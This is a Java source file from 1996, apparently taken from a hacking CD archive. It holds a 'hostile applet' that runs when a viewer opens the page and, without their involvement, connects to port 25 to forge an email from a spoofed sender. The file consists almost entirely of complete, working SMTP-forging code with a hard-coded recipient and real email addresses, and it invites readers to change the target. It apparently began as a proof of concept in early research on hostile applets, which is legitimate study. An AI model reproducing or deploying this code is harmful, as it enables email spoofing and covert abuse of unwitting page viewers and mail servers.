home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / INTERNET / FORGER_1.ZIP / FORGER~1.JAV
Encoding:
Text File  |  1996-05-08  |  4.1 KB  |  107 lines

  1.  
  2. /* Forger.java by Mark D. LaDue */
  3.  
  4. /* March 15, 1996 */
  5.  
  6. /*  Copyright (c) 1996 Mark D. LaDue
  7.     You may study, use, modify, and distribute this example for any purpose.
  8.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  9.  
  10. /*  This hostile applet forges an elctronic mail letter from the person who
  11.     views the applet in a browser to the person whose address appears in the
  12.     string "toMe."  The return address will be listed as HostileApplets@
  13.     followed by the string "mailFrom."  The appropriate commands to use for
  14.     sendmail can be often be found in the file /etc/mail/sendmail.hf.  
  15.     Note that while the person viewing the applet actually does initiate
  16.     the mail by connecting (involuntarily) to port 25, the applet host's role
  17.     in sending it is not so easily hidden.  See the full header of any e-mail
  18.     letter sent by the applet for more details. */ 
  19.  
  20. import java.applet.*;
  21. import java.io.*;
  22. import java.net.*;
  23.  
  24. public class Forger extends java.applet.Applet implements Runnable { 
  25.  
  26.     public static Socket socker;
  27.     public static DataInputStream inner;
  28.     public static PrintStream outer;
  29.     public static int mailPort = 25 ;
  30.     public static String mailFrom = "java.sun.com";
  31.     public static String toMe = "venkatr@doppio.Eng.Sun.COM";// Change this!
  32.     public static String starter = new String();
  33.     Thread controller = null;
  34.  
  35.     public void init() {
  36.  
  37.     try {
  38.         socker = new Socket(getDocumentBase().getHost(), mailPort);
  39.         inner = new DataInputStream(socker.getInputStream());
  40.         outer = new PrintStream(socker.getOutputStream());
  41.         }
  42.         catch (IOException ioe) {}
  43.     }
  44.  
  45.     public void start() {
  46.         if (controller == null) {
  47.             controller = new Thread(this);
  48.             controller.setPriority(Thread.MAX_PRIORITY);
  49.             controller.start();
  50.         }
  51.     }
  52.  
  53.     public void stop() {
  54.         if (controller != null) {
  55.             controller.stop();
  56.             controller = null;
  57.         }
  58.     }
  59.  
  60.     public void run() {
  61.         try {
  62.             starter = inner.readLine();
  63.         }
  64.         catch (IOException ioe) {}
  65.         mailMe("HELO " + mailFrom);
  66.         mailMe("MAIL FROM: " + "HostileApplets@" + mailFrom);
  67.     mailMe("RCPT TO: " + toMe);
  68.     mailMe("DATA");
  69.         mailMe("Subject: About PenPal.java" + "\n" +"Hi Venkat,"  + 
  70.                 "\n" + "\n" + 
  71.                "Thanks for taking a look at PenPal.java.  From your note\n" +
  72.                "I think I can understand why you're not seeing the desired\n" +
  73.                "result.  My guess is that perhaps you're only looking at\n" +
  74.                "an abbreviated header from an e-mail note that the applet\n" +
  75.                "forges.  In order to get the whole story, you have to\n" +
  76.                "inspect the full header.  That's where you'll be able to\n" +
  77.                "discern more information about the *sender*.  Of course\n" +
  78.                "that's exactly what my shell script retrieves from\n" +
  79.                "/var/mail/mladue.  None of this is apparent from the\n" +
  80.                "source code, and indeed I noticed it quite by accident \n" +
  81.                "when I was fiddling around trying to make my mail forging\n" + 
  82.                "applet work.  Perhaps it's a peculiarity of the mail\n" +
  83.              "system here in the School of Mathematics, but it really works\n"+
  84.                "for me here.  So I hope that's what it is and that you'll\n" +
  85.                "be able to reproduce my results there.\n" +
  86.                "\n" + "Mark LaDue\n" + "mladue@math.gatech.edu\n" + "\n" +
  87.                "\n" + "P.S. Of course one of my applets forged this note.\n" +
  88.                "\n." + "\n"); 
  89.         mailMe("QUIT");
  90.         try {
  91.             socker.close();
  92.         }
  93.         catch (IOException ioe) {}
  94.     }
  95.  
  96.     public void mailMe(String toSend) {
  97.         String response = new String();
  98.         try {
  99.             outer.println(toSend);
  100.             outer.flush();
  101.             response = inner.readLine();
  102.         }
  103.         catch(IOException e) {}
  104.     }
  105. }
  106.  
  107.